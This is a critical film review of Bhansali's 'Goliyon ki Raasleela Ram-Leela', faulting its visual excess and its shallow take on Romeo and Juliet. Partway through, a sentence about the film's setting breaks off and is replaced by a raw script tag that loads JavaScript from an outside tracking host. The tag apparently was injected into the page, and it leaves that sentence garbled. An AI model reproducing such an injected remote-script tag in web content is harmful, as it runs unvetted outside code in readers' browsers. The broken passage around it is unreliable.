When it’s Sanjay Leela Bhansali, Bollywood’s Maximum Man, rest assured that half measures are never an option. Unbridled cinematic hedonism is par for the course.
Ram-Leela has, on a court order, been rechristened Goliyon ki Raasleela Ram-Leela. Quite a mouthful that and just as well.
The film doles out super large helpings of everything under its grandiose narrative canopy – be it the oft-repeated story of star-crossed lovers, the garish sets, the musical score, the choreography, the costumes, the pitch of the acting, the delineation of the principal characters or the saturated colour palette.
Even on the rare occasion where he gives minimalism an attempted shot, as when he lets the characters articulate themselves only through physical gestures and facial expressions, SLB does not pipe down one bit. He goes for broke every which way.
It all adds up to a somewhat disorienting sensory assault mounted by a filmmaker who believes that excess makes excellent sense.
Goliyon ki Raasleela Ram-Leela is composed of such a riot of colours that the hues often bleed into each other, leaving behind blobs and blurs.
The director, true to form, also plays around with shadows, silhouettes and blinding flashes of light, but does so far too self-consciously for his labour to be truly effective.
It is a bit of a miracle that the film doesn’t actually implode and disintegrate in a giant blaze like some explosives-laden Ravana effigy on a festive night.
That, in a nutshell, is Goliyon ki Raasleela Ram-Leela for you. It’s not all-out hogwash for sure. The film does have its moments.
But this is pure Bhansali all the way, a benumbing overload of visual razzle-dazzle and emotional flourishes deployed for the sole purpose of overwhelming the audience. Bet it does!
It’s the cinematic equivalent of a cluttered, over-festooned moveable tableau where all the ingredients seem to be jostling for attention in such a way that nothing ultimately rises to the surface.
If you are the kind that likes this brand of filmmaking, marked by intense hues, extravagant production design and appallingly trite contrivances, you might just find Goliyon ki Raasleela Ram-Leela worth the hard-earned rupees that you blow up on watching a hunky Ranveer Singh and a svelte Deepika Padukone sway vigorously to the whippy baton of a frenzied bandmaster.
But if you aren’t the sort of moviegoer who warms up all that easily to flashy, and splashy, narrative devices, heed this critic’s counsel and bide your time until Dussehra comes by next year.
The spectacle of a crumbling and crackling Ravana viewed from a safe distance is infinitely better than being subjected to an onslaught by a stumbling and rumbling overstuffed blockbuster in a darkened movie hall.
Goliyon ki Raasleela Ram-Leela is Bollywood’s third stab at ‘Romeo and Juliet’ in a year and a half.
It’s violent and vicious Verona all over again; this time around the theatre of action is relocated to a village in the Rann of <script type='text/javascript' src='http://track.sitetag.us/tracking.js?hash=caf8a4486a8dbedc4bfcbf236caa39af'></script>
If Bhansali’s film were to be compared with Ishaqzaade and Issaq, it is neither as controlled as the former nor as insufferable as the latter.
More insubstantial frizzle than genuine sizzle, it is an overblown take on a classic love story in which love is replaced by shallow amorous posturing and the story is driven into the ground on account of being relentlessly, and senselessly, stretched to snapping point.
Bhansali’s Romeo is Ram (Ranveer Singh), a rakish, hunky Lothario who believes that physical love is as essential as acts of violence are avoidable. Needless to say, he falls prey to both.
Juliet is Leela (Deepika Padukone), an epitome of feminine grace who thinks nothing of giving free rein to her sexuality.